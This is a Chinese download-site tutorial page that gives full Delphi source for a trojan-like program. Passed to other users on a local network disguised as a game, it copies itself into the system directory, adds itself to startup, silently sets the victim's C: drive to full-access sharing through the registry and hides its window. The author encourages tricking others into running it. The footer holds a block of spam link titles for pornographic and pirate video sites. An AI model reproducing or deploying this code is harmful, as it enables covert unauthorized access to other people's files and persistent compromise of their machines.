• <label id="pxtpz"><meter id="pxtpz"></meter></label>
      1. <span id="pxtpz"><optgroup id="pxtpz"></optgroup></span>

        當前位置:雨林木風下載站 > 技術開發教程 > 詳細頁面

        如何讓C盤每次打開后都是完全共享

        如何讓C盤每次打開后都是完全共享

        更新時間:2021-09-25 文章作者:未知 信息來源:網絡 閱讀次數:

        為什么我的C盤每次啟動后都是完全共享?看看以下這個程序就明白了,噢,索叻是叻:)
            此程序當網絡上其他用戶執行后,會自己復制一份到該用戶Windows的system目錄下,,并修改該機的注冊表,使該機的C盤自動改為完全共享,且每次啟動機子后都會重新修改注冊表,當然,為了不讓別人看出執行的程序,該程序執行時不會在任務欄顯示,本身也不回顯,執行一秒鐘后程序自動退出,不易被發覺。
        來看源程序吧,該程序在Delphi5.0中通過:
            首先將mainform的BorderStyle屬性設為bsNone,由于要修改注冊表及復制文件,再在uses中加入 Registry,shellapi;
            大家注意程序中的注釋:

        procedure Tmainform.FormShow(Sender: TObject);
        var
          MyReg:TRegistry;
          mysyspath:Pchar;
          F:TShFileOpStruct;
          file_To,file_From:string;
        begin
          //得到用戶機系統目錄
          GetMem(MySysPath,255);
          GetSystemDirectory(MySysPath,255);
          //文件名 file_To:=mysyspath+'\Sysdef.exe';
          //復制目標文件名 file_From:=application.ExeName;
          //復制源文件名
          //以下為注冊表修改
          MyReg:=TRegistry.Create;
          MyReg.RootKey :=HKEY_LOCAL_MACHINE;
          try
            if not MyReg.OpenKey ('\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\C',True) then ;
              //指定子鍵能否打開,如不能則創建它,該子鍵包含硬盤共享參數
              if filesearch('wz.txt',MySysPath)='' then
              //搜索有否wz.txt文件,有則不執行,該判斷用于自己的機子,防止自己被黑,因而在自己的系統目錄下建立此文件,則不會被修改
              begin
                MyReg.WriteInteger('Flags',258);//共享為完全共享
                MyReg.WriteInteger('Type',0);
                MyReg.WriteString('Path','C:\');
                MyReg.WriteString('Remark','隨便你想寫什么');
                MyReg.CloseKey;
              end;
            if not MyReg.OpenKey ('\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',True) then ;
            begin
              MyReg.WriteString('Sysdef',file_To);//將程序加載到啟動中,每次開機自動執行
            end;
          finally
            MyReg.Free;//釋放注冊表資源
          end;
          //以下為拷貝文件
          with F do
          begin
            wnd:=application.Handle;
            pFrom:=pchar(file_From);
            pTo:=pchar(file_To);
            if FileSearch('sysdef.exe',mysyspath)='' then
            wFunc:=FO_COPY;//文件是否存在,不存在則復制
            fFlags:=FOF_SILENT;//不顯示Copy動畫
          end;
          if ShFileOperation(F)<>0 then ; //此處為文件COPY失敗的操作,此程序里為空操作
            timer1.Enabled :=true;
        end;

        procedure Tmainform.FormCreate(Sender: TObject);
        begin
          //Form不可見
          Application.ShowMainForm:=false;
          //程序不出現在任務欄
          SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
        end;

        procedure Tmainform.Timer1Timer(Sender: TObject);
        begin
          //一秒鐘后程序退出
          close;
          application.Terminate;
        end;


            程序完成后,將之放于顯眼的地方,只要網絡上的其他機子執行此程序后便會被修改,它的C盤可是赤裸裸的展現在你面前喲。 好了,小小程序,獻丑了! (另注: 編譯好的程序名為games,將之拷入根目錄下可以很好的運行,但是有可能出錯,將之拷入某盤任意目錄下即可正常運行。經過我的試驗,改為不同的文件名,需要的環境就不一樣。我也有點納悶,有可能是程序或者Windows的Bug。例如: c:\games.exe運行出錯,拷到c:\dd\games.exe則不會出錯,還希望高手指點:)

        溫馨提示:喜歡本站的話,請收藏一下本站!

        本類教程下載

        系統下載排行

        主站蜘蛛池模板: 免费福利资源站在线视频| 亚洲另类无码专区首页| 国产精品免费一区二区三区 | 亚洲校园春色另类激情| 8888四色奇米在线观看免费看| 久久精品夜色国产亚洲av| 久久久久久AV无码免费网站下载| 亚洲国产国产综合一区首页| 最近中文字幕大全免费视频| 亚洲国产精品免费观看 | 亚洲精品精华液一区二区| 国产美女精品视频免费观看| 美美女高清毛片视频黄的一免费| 亚洲AV中文无码乱人伦| a毛片成人免费全部播放| 国产亚洲一区二区三区在线| 5g影院5g天天爽永久免费影院| 亚洲国产夜色在线观看| 日本特黄特色免费大片| 一区二区免费国产在线观看| 亚洲人成在线播放网站| 亚洲精品在线免费看| 亚洲精品无码专区| 亚洲午夜国产精品无码老牛影视| 久久久久成人片免费观看蜜芽| 国产精品亚洲精品观看不卡| 四虎影永久在线高清免费| 成全在线观看免费观看大全 | 亚洲AV日韩AV天堂一区二区三区| 青青青国产在线观看免费 | 大片免费观看92在线视频线视频| 亚洲成av人片在线观看无码不卡| 国产免费久久精品99re丫y| 国产精品亚洲五月天高清| 亚洲av中文无码乱人伦在线r▽| 免费观看的毛片大全| 人成电影网在线观看免费| 亚洲高清日韩精品第一区| 高清在线亚洲精品国产二区| 久久免费视频网站| 国产成人高清亚洲一区久久|